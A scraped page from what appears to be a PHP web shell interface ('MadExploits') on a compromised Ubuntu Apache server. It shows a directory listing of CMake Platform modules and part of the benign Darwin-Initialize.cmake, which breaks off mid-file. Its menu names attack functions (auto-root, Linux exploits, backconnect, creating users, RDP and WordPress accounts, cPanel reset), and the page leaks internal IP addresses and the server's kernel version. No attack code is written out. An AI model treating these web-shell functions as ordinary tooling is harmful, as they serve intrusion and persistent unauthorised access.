Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
cmake-3.22 /
Modules /
Platform /
[ HOME SHELL ]
Name
Size
Permission
Action
AIX
[ DIR ]
drwxr-xr-x
Android
[ DIR ]
drwxr-xr-x
AIX-Clang-C.cmake
28
B
-rw-r--r--
AIX-Clang-CXX.cmake
30
B
-rw-r--r--
AIX-GNU-ASM.cmake
50
B
-rw-r--r--
AIX-GNU-C.cmake
48
B
-rw-r--r--
AIX-GNU-CXX.cmake
109
B
-rw-r--r--
AIX-GNU-Fortran.cmake
54
B
-rw-r--r--
AIX-GNU.cmake
1.7
KB
-rw-r--r--
AIX-VisualAge-C.cmake
27
B
-rw-r--r--
AIX-VisualAge-CXX.cmake
29
B
-rw-r--r--
AIX-VisualAge-Fortran.cmake
33
B
-rw-r--r--
AIX-XL-ASM.cmake
48
B
-rw-r--r--
AIX-XL-C.cmake
168
B
-rw-r--r--
AIX-XL-CXX.cmake
146
B
-rw-r--r--
AIX-XL-Fortran.cmake
52
B
-rw-r--r--
AIX-XL.cmake
2
KB
-rw-r--r--
AIX-XLClang-C.cmake
56
B
-rw-r--r--
AIX-XLClang-CXX.cmake
58
B
-rw-r--r--
AIX-XLClang.cmake
390
B
-rw-r--r--
AIX.cmake
1.41
KB
-rw-r--r--
ARTOS-GNU-C.cmake
591
B
-rw-r--r--
ARTOS.cmake
526
B
-rw-r--r--
Android-Clang-ASM.cmake
62
B
-rw-r--r--
Android-Clang-C.cmake
60
B
-rw-r--r--
Android-Clang-CXX.cmake
322
B
-rw-r--r--
Android-Clang.cmake
3.16
KB
-rw-r--r--
Android-Common.cmake
8.03
KB
-rw-r--r--
Android-Determine-C.cmake
77
B
-rw-r--r--
Android-Determine-CXX.cmake
79
B
-rw-r--r--
Android-Determine.cmake
24.04
KB
-rw-r--r--
Android-GNU-C.cmake
56
B
-rw-r--r--
Android-GNU-CXX.cmake
177
B
-rw-r--r--
Android-GNU.cmake
1.01
KB
-rw-r--r--
Android-Initialize.cmake
4.02
KB
-rw-r--r--
Android.cmake
1.27
KB
-rw-r--r--
Apple-Absoft-Fortran.cmake
351
B
-rw-r--r--
Apple-Apple-Swift.cmake
37
B
-rw-r--r--
Apple-AppleClang-C.cmake
202
B
-rw-r--r--
Apple-AppleClang-CXX.cmake
210
B
-rw-r--r--
Apple-AppleClang-OBJC.cmake
214
B
-rw-r--r--
Apple-AppleClang-OBJCXX.cmake
222
B
-rw-r--r--
Apple-Clang-ASM.cmake
58
B
-rw-r--r--
Apple-Clang-C.cmake
56
B
-rw-r--r--
Apple-Clang-CXX.cmake
58
B
-rw-r--r--
Apple-Clang-OBJC.cmake
59
B
-rw-r--r--
Apple-Clang-OBJCXX.cmake
61
B
-rw-r--r--
Apple-Clang.cmake
1.67
KB
-rw-r--r--
Apple-GNU-C.cmake
126
B
-rw-r--r--
Apple-GNU-CXX.cmake
132
B
-rw-r--r--
Apple-GNU-Fortran.cmake
428
B
-rw-r--r--
Apple-GNU-OBJC.cmake
135
B
-rw-r--r--
Apple-GNU-OBJCXX.cmake
141
B
-rw-r--r--
Apple-GNU.cmake
2.17
KB
-rw-r--r--
Apple-Intel-C.cmake
56
B
-rw-r--r--
Apple-Intel-CXX.cmake
58
B
-rw-r--r--
Apple-Intel-Fortran.cmake
346
B
-rw-r--r--
Apple-Intel.cmake
785
B
-rw-r--r--
Apple-IntelLLVM-C.cmake
65
B
-rw-r--r--
Apple-IntelLLVM-CXX.cmake
67
B
-rw-r--r--
Apple-IntelLLVM-Fortran.cmake
355
B
-rw-r--r--
Apple-IntelLLVM.cmake
719
B
-rw-r--r--
Apple-NAG-Fortran.cmake
921
B
-rw-r--r--
Apple-NVIDIA-CUDA.cmake
1.02
KB
-rw-r--r--
Apple-PGI-C.cmake
52
B
-rw-r--r--
Apple-PGI-CXX.cmake
54
B
-rw-r--r--
Apple-PGI-Fortran.cmake
58
B
-rw-r--r--
Apple-PGI.cmake
492
B
-rw-r--r--
Apple-VisualAge-C.cmake
29
B
-rw-r--r--
Apple-VisualAge-CXX.cmake
31
B
-rw-r--r--
Apple-XL-C.cmake
269
B
-rw-r--r--
Apple-XL-CXX.cmake
273
B
-rw-r--r--
BSDOS.cmake
29
B
-rw-r--r--
BeOS.cmake
404
B
-rw-r--r--
BlueGeneL.cmake
1.82
KB
-rw-r--r--
BlueGeneP-base.cmake
5.14
KB
-rw-r--r--
BlueGeneP-dynamic-GNU-C.cmake
181
B
-rw-r--r--
BlueGeneP-dynamic-GNU-CXX.cmak...
183
B
-rw-r--r--
BlueGeneP-dynamic-GNU-Fortran....
187
B
-rw-r--r--
BlueGeneP-dynamic-XL-C.cmake
302
B
-rw-r--r--
BlueGeneP-dynamic-XL-CXX.cmake
280
B
-rw-r--r--
BlueGeneP-dynamic-XL-Fortran.c...
186
B
-rw-r--r--
BlueGeneP-dynamic.cmake
323
B
-rw-r--r--
BlueGeneP-static-GNU-C.cmake
180
B
-rw-r--r--
BlueGeneP-static-GNU-CXX.cmake
182
B
-rw-r--r--
BlueGeneP-static-GNU-Fortran.c...
186
B
-rw-r--r--
BlueGeneP-static-XL-C.cmake
301
B
-rw-r--r--
BlueGeneP-static-XL-CXX.cmake
279
B
-rw-r--r--
BlueGeneP-static-XL-Fortran.cm...
185
B
-rw-r--r--
BlueGeneP-static.cmake
318
B
-rw-r--r--
BlueGeneQ-base.cmake
6.9
KB
-rw-r--r--
BlueGeneQ-dynamic-GNU-C.cmake
177
B
-rw-r--r--
BlueGeneQ-dynamic-GNU-CXX.cmak...
179
B
-rw-r--r--
BlueGeneQ-dynamic-GNU-Fortran....
183
B
-rw-r--r--
BlueGeneQ-dynamic-XL-C.cmake
298
B
-rw-r--r--
BlueGeneQ-dynamic-XL-CXX.cmake
276
B
-rw-r--r--
BlueGeneQ-dynamic-XL-Fortran.c...
182
B
-rw-r--r--
BlueGeneQ-dynamic.cmake
221
B
-rw-r--r--
BlueGeneQ-static-GNU-C.cmake
176
B
-rw-r--r--
BlueGeneQ-static-GNU-CXX.cmake
178
B
-rw-r--r--
BlueGeneQ-static-GNU-Fortran.c...
182
B
-rw-r--r--
BlueGeneQ-static-XL-C.cmake
297
B
-rw-r--r--
BlueGeneQ-static-XL-CXX.cmake
275
B
-rw-r--r--
BlueGeneQ-static-XL-Fortran.cm...
181
B
-rw-r--r--
BlueGeneQ-static.cmake
215
B
-rw-r--r--
CYGWIN-Clang-C.cmake
31
B
-rw-r--r--
CYGWIN-Clang-CXX.cmake
33
B
-rw-r--r--
CYGWIN-Determine-CXX.cmake
248
B
-rw-r--r--
CYGWIN-GNU-C.cmake
54
B
-rw-r--r--
CYGWIN-GNU-CXX.cmake
56
B
-rw-r--r--
CYGWIN-GNU-Fortran.cmake
60
B
-rw-r--r--
CYGWIN-GNU.cmake
2.55
KB
-rw-r--r--
CYGWIN-windres.cmake
106
B
-rw-r--r--
CYGWIN.cmake
2.7
KB
-rw-r--r--
Catamount.cmake
1.01
KB
-rw-r--r--
CrayLinuxEnvironment.cmake
3.11
KB
-rw-r--r--
DOS-OpenWatcom-C.cmake
33
B
-rw-r--r--
DOS-OpenWatcom-CXX.cmake
33
B
-rw-r--r--
DOS-OpenWatcom.cmake
1.06
KB
-rw-r--r--
DOS.cmake
413
B
-rw-r--r--
Darwin-Determine-CXX.cmake
248
B
-rw-r--r--
Darwin-Initialize.cmake
12.3
KB
-rw-r--r--
Darwin.cmake
9.12
KB
-rw-r--r--
DragonFly.cmake
388
B
-rw-r--r--
Euros.cmake
615
B
-rw-r--r--
FreeBSD-Determine-CXX.cmake
77
B
-rw-r--r--
FreeBSD.cmake
1.35
KB
-rw-r--r--
Fuchsia.cmake
1.17
KB
-rw-r--r--
GHS-MULTI-Determine.cmake
1.95
KB
-rw-r--r--
GHS-MULTI.cmake
389
B
-rw-r--r--
GNU.cmake
1.87
KB
-rw-r--r--
GNUtoMS_lib.bat.in
102
B
-rw-r--r--
GNUtoMS_lib.cmake
383
B
-rw-r--r--
Generic-ADSP-ASM.cmake
292
B
-rw-r--r--
Generic-ADSP-C.cmake
761
B
-rw-r--r--
Generic-ADSP-CXX.cmake
791
B
-rw-r--r--
Generic-ADSP-Common.cmake
4.04
KB
-rw-r--r--
Generic-SDCC-C.cmake
2.32
KB
-rw-r--r--
Generic.cmake
827
B
-rw-r--r--
HP-UX-GNU-ASM.cmake
53
B
-rw-r--r--
HP-UX-GNU-C.cmake
51
B
-rw-r--r--
HP-UX-GNU-CXX.cmake
112
B
-rw-r--r--
HP-UX-GNU-Fortran.cmake
57
B
-rw-r--r--
HP-UX-GNU.cmake
750
B
-rw-r--r--
HP-UX-HP-ASM.cmake
51
B
-rw-r--r--
HP-UX-HP-C.cmake
405
B
-rw-r--r--
HP-UX-HP-CXX.cmake
653
B
-rw-r--r--
HP-UX-HP-Fortran.cmake
325
B
-rw-r--r--
HP-UX-HP.cmake
837
B
-rw-r--r--
HP-UX.cmake
1.93
KB
-rw-r--r--
Haiku.cmake
4.91
KB
-rw-r--r--
Linux-Absoft-Fortran.cmake
67
B
-rw-r--r--
Linux-CCur-Fortran.cmake
36
B
-rw-r--r--
Linux-Clang-C.cmake
30
B
-rw-r--r--
Linux-Clang-CXX.cmake
32
B
-rw-r--r--
Linux-Determine-CXX.cmake
77
B
-rw-r--r--
Linux-Fujitsu-C.cmake
32
B
-rw-r--r--
Linux-Fujitsu-CXX.cmake
34
B
-rw-r--r--
Linux-Fujitsu.cmake
612
B
-rw-r--r--
Linux-GNU-C.cmake
52
B
-rw-r--r--
Linux-GNU-CXX.cmake
54
B
-rw-r--r--
Linux-GNU-Fortran.cmake
106
B
-rw-r--r--
Linux-GNU.cmake
511
B
-rw-r--r--
Linux-Intel-C.cmake
101
B
-rw-r--r--
Linux-Intel-CXX.cmake
105
B
-rw-r--r--
Linux-Intel-Fortran.cmake
182
B
-rw-r--r--
Linux-Intel.cmake
2.05
KB
-rw-r--r--
Linux-IntelLLVM-C.cmake
110
B
-rw-r--r--
Linux-IntelLLVM-CXX.cmake
114
B
-rw-r--r--
Linux-IntelLLVM-Fortran.cmake
191
B
-rw-r--r--
Linux-IntelLLVM.cmake
1.92
KB
-rw-r--r--
Linux-NAG-Fortran.cmake
596
B
-rw-r--r--
Linux-NVHPC-C.cmake
56
B
-rw-r--r--
Linux-NVHPC-CXX.cmake
58
B
-rw-r--r--
Linux-NVHPC-Fortran.cmake
62
B
-rw-r--r--
Linux-NVHPC.cmake
398
B
-rw-r--r--
Linux-OpenWatcom-C.cmake
35
B
-rw-r--r--
Linux-OpenWatcom-CXX.cmake
35
B
-rw-r--r--
Linux-OpenWatcom.cmake
932
B
-rw-r--r--
Linux-PGI-C.cmake
52
B
-rw-r--r--
Linux-PGI-CXX.cmake
54
B
-rw-r--r--
Linux-PGI-Fortran.cmake
58
B
-rw-r--r--
Linux-PGI.cmake
766
B
-rw-r--r--
Linux-PathScale-C.cmake
64
B
-rw-r--r--
Linux-PathScale-CXX.cmake
66
B
-rw-r--r--
Linux-PathScale-Fortran.cmake
70
B
-rw-r--r--
Linux-PathScale.cmake
597
B
-rw-r--r--
Linux-SunPro-CXX.cmake
489
B
-rw-r--r--
Linux-TinyCC-C.cmake
233
B
-rw-r--r--
Linux-VisualAge-C.cmake
29
B
-rw-r--r--
Linux-VisualAge-CXX.cmake
31
B
-rw-r--r--
Linux-VisualAge-Fortran.cmake
35
B
-rw-r--r--
Linux-XL-C.cmake
61
B
-rw-r--r--
Linux-XL-CXX.cmake
63
B
-rw-r--r--
Linux-XL-Fortran.cmake
67
B
-rw-r--r--
Linux-como.cmake
727
B
-rw-r--r--
Linux.cmake
3.18
KB
-rw-r--r--
MP-RAS.cmake
399
B
-rw-r--r--
MSYS-Clang-C.cmake
33
B
-rw-r--r--
MSYS-Clang-CXX.cmake
35
B
-rw-r--r--
MSYS-Determine-CXX.cmake
39
B
-rw-r--r--
MSYS-GNU-C.cmake
31
B
-rw-r--r--
MSYS-GNU-CXX.cmake
33
B
-rw-r--r--
MSYS-GNU-Fortran.cmake
37
B
-rw-r--r--
MSYS-GNU.cmake
29
B
-rw-r--r--
MSYS-windres.cmake
33
B
-rw-r--r--
MSYS.cmake
118
B
-rw-r--r--
Midipix.cmake
28
B
-rw-r--r--
MirBSD.cmake
26
B
-rw-r--r--
NetBSD.cmake
778
B
-rw-r--r--
OS2-OpenWatcom-C.cmake
33
B
-rw-r--r--
OS2-OpenWatcom-CXX.cmake
33
B
-rw-r--r--
OS2-OpenWatcom.cmake
1.47
KB
-rw-r--r--
OS2.cmake
413
B
-rw-r--r--
OSF1.cmake
1.51
KB
-rw-r--r--
OpenBSD.cmake
1.41
KB
-rw-r--r--
OpenVMS.cmake
267
B
-rw-r--r--
QNX.cmake
655
B
-rw-r--r--
RISCos.cmake
188
B
-rw-r--r--
SCO_SV.cmake
96
B
-rw-r--r--
SINIX.cmake
264
B
-rw-r--r--
SunOS-Clang-C.cmake
30
B
-rw-r--r--
SunOS-Clang-CXX.cmake
32
B
-rw-r--r--
SunOS-GNU-C.cmake
52
B
-rw-r--r--
SunOS-GNU-CXX.cmake
54
B
-rw-r--r--
SunOS-GNU-Fortran.cmake
58
B
-rw-r--r--
SunOS-GNU.cmake
996
B
-rw-r--r--
SunOS-PathScale-C.cmake
64
B
-rw-r--r--
SunOS-PathScale-CXX.cmake
66
B
-rw-r--r--
SunOS-PathScale-Fortran.cmake
70
B
-rw-r--r--
SunOS-PathScale.cmake
770
B
-rw-r--r--
SunOS.cmake
706
B
-rw-r--r--
Tru64.cmake
29
B
-rw-r--r--
ULTRIX.cmake
187
B
-rw-r--r--
UNIX_SV.cmake
318
B
-rw-r--r--
UnixPaths.cmake
3.28
KB
-rw-r--r--
UnixWare.cmake
320
B
-rw-r--r--
Windows-Apple-Swift.cmake
72
B
-rw-r--r--
Windows-Borland-C.cmake
40
B
-rw-r--r--
Windows-Borland-CXX.cmake
42
B
-rw-r--r--
Windows-Clang-ASM.cmake
62
B
-rw-r--r--
Windows-Clang-C.cmake
712
B
-rw-r--r--
Windows-Clang-CXX.cmake
758
B
-rw-r--r--
Windows-Clang.cmake
9.83
KB
-rw-r--r--
Windows-Determine-CXX.cmake
248
B
-rw-r--r--
Windows-Embarcadero-C.cmake
77
B
-rw-r--r--
Windows-Embarcadero-CXX.cmake
81
B
-rw-r--r--
Windows-Embarcadero.cmake
5.39
KB
-rw-r--r--
Windows-Flang-Fortran.cmake
637
B
-rw-r--r--
Windows-G95-Fortran.cmake
38
B
-rw-r--r--
Windows-GNU-ASM.cmake
58
B
-rw-r--r--
Windows-GNU-C-ABI.cmake
30
B
-rw-r--r--
Windows-GNU-C.cmake
56
B
-rw-r--r--
Windows-GNU-CXX-ABI.cmake
32
B
-rw-r--r--
Windows-GNU-CXX.cmake
58
B
-rw-r--r--
Windows-GNU-Fortran-ABI.cmake
36
B
-rw-r--r--
Windows-GNU-Fortran.cmake
162
B
-rw-r--r--
Windows-GNU.cmake
9.48
KB
-rw-r--r--
Windows-Intel-ASM.cmake
62
B
-rw-r--r--
Windows-Intel-C.cmake
940
B
-rw-r--r--
Windows-Intel-CXX.cmake
980
B
-rw-r--r--
Windows-Intel-Fortran.cmake
1.95
KB
-rw-r--r--
Windows-Intel-ISPC.cmake
209
B
-rw-r--r--
Windows-Intel.cmake
888
B
-rw-r--r--
Windows-IntelLLVM-ASM.cmake
66
B
-rw-r--r--
Windows-IntelLLVM-C.cmake
64
B
-rw-r--r--
Windows-IntelLLVM-CXX.cmake
91
B
-rw-r--r--
Windows-IntelLLVM-Fortran.cmak...
1.95
KB
-rw-r--r--
Windows-IntelLLVM.cmake
507
B
-rw-r--r--
Windows-MSVC-C.cmake
395
B
-rw-r--r--
Windows-MSVC-CXX.cmake
430
B
-rw-r--r--
Windows-MSVC.cmake
19.45
KB
-rw-r--r--
Windows-NVIDIA-CUDA.cmake
4.81
KB
-rw-r--r--
Windows-OpenWatcom-C.cmake
62
B
-rw-r--r--
Windows-OpenWatcom-CXX.cmake
64
B
-rw-r--r--
Windows-OpenWatcom.cmake
1.3
KB
-rw-r--r--
Windows-PGI-C.cmake
56
B
-rw-r--r--
Windows-PGI-Fortran.cmake
62
B
-rw-r--r--
Windows-PGI.cmake
2.3
KB
-rw-r--r--
Windows-Watcom-C.cmake
39
B
-rw-r--r--
Windows-Watcom-CXX.cmake
41
B
-rw-r--r--
Windows-df.cmake
2.57
KB
-rw-r--r--
Windows-windres.cmake
106
B
-rw-r--r--
Windows.cmake
1.35
KB
-rw-r--r--
WindowsCE-MSVC-C.cmake
33
B
-rw-r--r--
WindowsCE-MSVC-CXX.cmake
35
B
-rw-r--r--
WindowsCE.cmake
26
B
-rw-r--r--
WindowsPaths.cmake
2.99
KB
-rw-r--r--
WindowsPhone-Clang-ASM.cmake
36
B
-rw-r--r--
WindowsPhone-Clang-C.cmake
34
B
-rw-r--r--
WindowsPhone-Clang-CXX.cmake
36
B
-rw-r--r--
WindowsPhone-GNU-ASM.cmake
34
B
-rw-r--r--
WindowsPhone-GNU-C.cmake
32
B
-rw-r--r--
WindowsPhone-GNU-CXX.cmake
34
B
-rw-r--r--
WindowsPhone-MSVC-C.cmake
33
B
-rw-r--r--
WindowsPhone-MSVC-CXX.cmake
35
B
-rw-r--r--
WindowsPhone.cmake
26
B
-rw-r--r--
WindowsStore-Clang-ASM.cmake
36
B
-rw-r--r--
WindowsStore-Clang-C.cmake
34
B
-rw-r--r--
WindowsStore-Clang-CXX.cmake
36
B
-rw-r--r--
WindowsStore-GNU-ASM.cmake
34
B
-rw-r--r--
WindowsStore-GNU-C.cmake
32
B
-rw-r--r--
WindowsStore-GNU-CXX.cmake
34
B
-rw-r--r--
WindowsStore-MSVC-C.cmake
33
B
-rw-r--r--
WindowsStore-MSVC-CXX.cmake
35
B
-rw-r--r--
WindowsStore.cmake
26
B
-rw-r--r--
Xenix.cmake
29
B
-rw-r--r--
eCos.cmake
2.67
KB
-rw-r--r--
gas.cmake
670
B
-rw-r--r--
iOS-Determine-CXX.cmake
39
B
-rw-r--r--
iOS-Initialize.cmake
243
B
-rw-r--r--
iOS.cmake
25
B
-rw-r--r--
kFreeBSD.cmake
147
B
-rw-r--r--
syllable.cmake
1.47
KB
-rw-r--r--
tvOS-Determine-CXX.cmake
39
B
-rw-r--r--
tvOS-Initialize.cmake
233
B
-rw-r--r--
tvOS.cmake
25
B
-rw-r--r--
watchOS-Determine-CXX.cmake
39
B
-rw-r--r--
watchOS-Initialize.cmake
234
B
-rw-r--r--
watchOS.cmake
25
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Darwin-Initialize.cmake
# Ask xcode-select where to find /Developer or fall back to ancient location. execute_process(COMMAND xcode-select -print-path OUTPUT_VARIABLE _stdout OUTPUT_STRIP_TRAILING_WHITESPACE ERROR_VARIABLE _stderr RESULT_VARIABLE _failed) if(NOT _failed AND IS_DIRECTORY ${_stdout}) set(OSX_DEVELOPER_ROOT ${_stdout}) elseif(IS_DIRECTORY "/Developer") set(OSX_DEVELOPER_ROOT "/Developer") else() set(OSX_DEVELOPER_ROOT "") endif() execute_process(COMMAND sw_vers -productVersion OUTPUT_VARIABLE CURRENT_OSX_VERSION OUTPUT_STRIP_TRAILING_WHITESPACE) # Save CMAKE_OSX_ARCHITECTURES from the environment. set(CMAKE_OSX_ARCHITECTURES "$ENV{CMAKE_OSX_ARCHITECTURES}" CACHE STRING "Build architectures for OSX") if(NOT CMAKE_CROSSCOMPILING AND CMAKE_SYSTEM_NAME STREQUAL "Darwin" AND CMAKE_HOST_SYSTEM_PROCESSOR MATCHES "^(arm64|x86_64)$") execute_process(COMMAND sysctl -q hw.optional.arm64 OUTPUT_VARIABLE _sysctl_stdout ERROR_VARIABLE _sysctl_stderr RESULT_VARIABLE _sysctl_result ) # When building on an Apple Silicon host, we need to explicitly specify # the architecture to the toolchain since it will otherwise guess the # architecture based on that of the build system tool. # Set an *internal variable* to tell the generators to do this. if(_sysctl_result EQUAL 0 AND _sysctl_stdout MATCHES "hw.optional.arm64: 1") set(_CMAKE_APPLE_ARCHS_DEFAULT "${CMAKE_HOST_SYSTEM_PROCESSOR}") endif() unset(_sysctl_result) unset(_sysctl_stderr) unset(_sysctl_stdout) endif() # macOS, iOS, tvOS, and watchOS should lookup compilers from # Platform/Apple-${CMAKE_CXX_COMPILER_ID}-<LANG> set(CMAKE_EFFECTIVE_SYSTEM_NAME "Apple") #---------------------------------------------------------------------------- # _CURRENT_OSX_VERSION - as a two-component string: 10.5, 10.6, ... # string(REGEX REPLACE "^([0-9]+\\.[0-9]+).*$" "\\1" _CURRENT_OSX_VERSION "${CURRENT_OSX_VERSION}") #---------------------------------------------------------------------------- # CMAKE_OSX_DEPLOYMENT_TARGET # Set cache variable - end user may change this during ccmake or cmake-gui configure. if(CMAKE_SYSTEM_NAME STREQUAL "Darwin" AND _CURRENT_OSX_VERSION VERSION_GREATER 10.3) set(CMAKE_OSX_DEPLOYMENT_TARGET "$ENV{MACOSX_DEPLOYMENT_TARGET}" CACHE STRING "Minimum OS X version to target for deployment (at runtime); newer APIs weak linked. Set to empty string for default value.") endif() #---------------------------------------------------------------------------- # CMAKE_OSX_SYSROOT if(CMAKE_OSX_SYSROOT) # Use the existing value without further computation to choose a default. set(_CMAKE_OSX_SYSROOT_DEFAULT "${CMAKE_OSX_SYSROOT}") elseif(NOT "x$ENV{SDKROOT}" STREQUAL "x" AND (NOT "x$ENV{SDKROOT}" MATCHES "/" OR IS_DIRECTORY "$ENV{SDKROOT}")) # Use the value of SDKROOT from the environment. set(_CMAKE_OSX_SYSROOT_DEFAULT "$ENV{SDKROOT}") elseif(CMAKE_SYSTEM_NAME STREQUAL iOS) set(_CMAKE_OSX_SYSROOT_DEFAULT "iphoneos") elseif(CMAKE_SYSTEM_NAME STREQUAL tvOS) set(_CMAKE_OSX_SYSROOT_DEFAULT "appletvos") elseif(CMAKE_SYSTEM_NAME STREQUAL watchOS) set(_CMAKE_OSX_SYSROOT_DEFAULT "watchos") elseif("${CMAKE_GENERATOR}" MATCHES Xcode OR CMAKE_OSX_DEPLOYMENT_TARGET OR CMAKE_OSX_ARCHITECTURES MATCHES "[^;]" OR NOT EXISTS "/usr/include/sys/types.h") # Find installed SDKs in either Xcode-4.3+ or pre-4.3 SDKs directory. set(_CMAKE_OSX_SDKS_DIR "") if(OSX_DEVELOPER_ROOT) foreach(_d Platforms/MacOSX.platform/Developer/SDKs SDKs) file(GLOB _CMAKE_OSX_SDKS ${OSX_DEVELOPER_ROOT}/${_d}/*) if(_CMAKE_OSX_SDKS) set(_CMAKE_OSX_SDKS_DIR ${OSX_DEVELOPER_ROOT}/${_d}) break() endif() endforeach() endif() if(_CMAKE_OSX_SDKS_DIR) # Find the latest SDK as recommended by Apple (Technical Q&A QA1806) set(_CMAKE_OSX_LATEST_SDK_VERSION "0.0") file(GLOB _CMAKE_OSX_SDKS RELATIVE "${_CMAKE_OSX_SDKS_DIR}" "${_CMAKE_OSX_SDKS_DIR}/MacOSX*.sdk") foreach(_SDK ${_CMAKE_OSX_SDKS}) if(IS_DIRECTORY "${_CMAKE_OSX_SDKS_DIR}/${_SDK}" AND _SDK MATCHES "MacOSX([0-9]+\\.[0-9]+)[^/]*\\.sdk" AND CMAKE_MATCH_1 VERSION_GREATER ${_CMAKE_OSX_LATEST_SDK_VERSION}) set(_CMAKE_OSX_LATEST_SDK_VERSION "${CMAKE_MATCH_1}") endif() endforeach() if(NOT _CMAKE_OSX_LATEST_SDK_VERSION STREQUAL "0.0") set(_CMAKE_OSX_SYSROOT_DEFAULT "${_CMAKE_OSX_SDKS_DIR}/MacOSX${_CMAKE_OSX_LATEST_SDK_VERSION}.sdk") else() message(WARNING "Could not find any valid SDKs in ${_CMAKE_OSX_SDKS_DIR}") endif() if(NOT CMAKE_CROSSCOMPILING AND NOT CMAKE_OSX_DEPLOYMENT_TARGET AND (_CURRENT_OSX_VERSION VERSION_LESS _CMAKE_OSX_LATEST_SDK_VERSION OR _CMAKE_OSX_LATEST_SDK_VERSION STREQUAL "0.0")) set(CMAKE_OSX_DEPLOYMENT_TARGET ${_CURRENT_OSX_VERSION} CACHE STRING "Minimum OS X version to target for deployment (at runtime); newer APIs weak linked. Set to empty string for default value." FORCE) endif() else() # Assume developer files are in root (such as Xcode 4.5 command-line tools). set(_CMAKE_OSX_SYSROOT_DEFAULT "") endif() endif() # Set cache variable - end user may change this during ccmake or cmake-gui configure. # Choose the type based on the current value. set(_CMAKE_OSX_SYSROOT_TYPE STRING) foreach(_v CMAKE_OSX_SYSROOT _CMAKE_OSX_SYSROOT_DEFAULT) if("x${${_v}}" MATCHES "/") set(_CMAKE_OSX_SYSROOT_TYPE PATH) break() endif() endforeach() set(CMAKE_OSX_SYSROOT "${_CMAKE_OSX_SYSROOT_DEFAULT}" CACHE ${_CMAKE_OSX_SYSROOT_TYPE} "The product will be built against the headers and libraries located inside the indicated SDK.") # Resolves the SDK name into a path function(_apple_resolve_sdk_path sdk_name ret) execute_process( COMMAND xcrun -sdk ${sdk_name} --show-sdk-path OUTPUT_VARIABLE _stdout OUTPUT_STRIP_TRAILING_WHITESPACE ERROR_VARIABLE _stderr RESULT_VARIABLE _failed ) set(${ret} "${_stdout}" PARENT_SCOPE) endfunction() function(_apple_resolve_supported_archs_for_sdk_from_system_lib sdk_path ret ret_failed) # Detect the supported SDK architectures by inspecting the main libSystem library. set(common_lib_prefix "${sdk_path}/usr/lib/libSystem") set(system_lib_dylib_path "${common_lib_prefix}.dylib") set(system_lib_tbd_path "${common_lib_prefix}.tbd") # Newer SDKs ship text based dylib stub files which contain the architectures supported by the # library in text form. if(EXISTS "${system_lib_tbd_path}") file(STRINGS "${system_lib_tbd_path}" tbd_lines REGEX "^(archs|targets): +\\[.+\\]") if(NOT tbd_lines) set(${ret_failed} TRUE PARENT_SCOPE) return() endif() # The tbd architectures line looks like the following: # archs: [ armv7, armv7s, arm64, arm64e ] # or for version 4 TBD files: # targets: [ armv7-ios, armv7s-ios, arm64-ios, arm64e-ios ] list(GET tbd_lines 0 first_arch_line) string(REGEX REPLACE "(archs|targets): +\\[ (.+) \\]" "\\2" arches_comma_separated "${first_arch_line}") string(STRIP "${arches_comma_separated}" arches_comma_separated) string(REPLACE "," ";" arch_list "${arches_comma_separated}") string(REPLACE " " "" arch_list "${arch_list}") # Remove -platform suffix from target (version 4 only) string(REGEX REPLACE "-[a-z-]+" "" arch_list "${arch_list}") if(NOT arch_list) set(${ret_failed} TRUE PARENT_SCOPE) return() endif() set(${ret} "${arch_list}" PARENT_SCOPE) elseif(EXISTS "${system_lib_dylib_path}") # Old SDKs (Xcode < 7) ship dylib files, use lipo to inspect the supported architectures. # Can't use -archs because the option is not available in older Xcode versions. execute_process( COMMAND lipo -info ${system_lib_dylib_path} OUTPUT_VARIABLE lipo_output OUTPUT_STRIP_TRAILING_WHITESPACE ERROR_VARIABLE _stderr RESULT_VARIABLE _failed ) if(_failed OR NOT lipo_output OR NOT lipo_output MATCHES "(Non-fat file:|Architectures in the fat file:)") set(${ret_failed} TRUE PARENT_SCOPE) return() endif() # The lipo output looks like the following: # Non-fat file: <path> is architecture: i386 # Architectures in the fat file: <path> are: i386 x86_64 string(REGEX REPLACE "^(.+)is architecture:(.+)" "\\2" arches_space_separated "${lipo_output}") string(REGEX REPLACE "^(.+)are:(.+)" "\\2" arches_space_separated "${arches_space_separated}") # Need to clean up the arches, with Xcode 4.6.3 the output of lipo -info contains some # additional info, e.g. # Architectures in the fat file: <path> are: armv7 (cputype (12) cpusubtype (11)) string(REGEX REPLACE "\\(.+\\)" "" arches_space_separated "${arches_space_separated}") # The output is space separated. string(STRIP "${arches_space_separated}" arches_space_separated) string(REPLACE " " ";" arch_list "${arches_space_separated}") if(NOT arch_list) set(${ret_failed} TRUE PARENT_SCOPE) return() endif() set(${ret} "${arch_list}" PARENT_SCOPE) else() # This shouldn't happen, but keep it for safety. message(WARNING "No way to find architectures for given sdk_path '${sdk_path}'") set(${ret_failed} TRUE PARENT_SCOPE) endif() endfunction() # Handle multi-arch sysroots. Do this before CMAKE_OSX_SYSROOT is # transformed into a path, so that we know the sysroot name. function(_apple_resolve_multi_arch_sysroots) if(DEFINED CMAKE_APPLE_ARCH_SYSROOTS) return() # Already cached endif() list(LENGTH CMAKE_OSX_ARCHITECTURES _num_archs) if(NOT (_num_archs GREATER 1)) return() # Only apply to multi-arch endif() if(CMAKE_OSX_SYSROOT STREQUAL "macosx") # macOS doesn't have a simulator sdk / sysroot, so there is no need to handle per-sdk arches. return() endif() if(IS_DIRECTORY "${CMAKE_OSX_SYSROOT}") if(NOT CMAKE_OSX_SYSROOT STREQUAL _CMAKE_OSX_SYSROOT_DEFAULT) message(WARNING "Can not resolve multi-arch sysroots with CMAKE_OSX_SYSROOT set to path (${CMAKE_OSX_SYSROOT})") endif() return() endif() string(REPLACE "os" "simulator" _simulator_sdk ${CMAKE_OSX_SYSROOT}) set(_sdks "${CMAKE_OSX_SYSROOT};${_simulator_sdk}") foreach(sdk ${_sdks}) _apple_resolve_sdk_path(${sdk} _sdk_path) if(NOT IS_DIRECTORY "${_sdk_path}") message(WARNING "Failed to 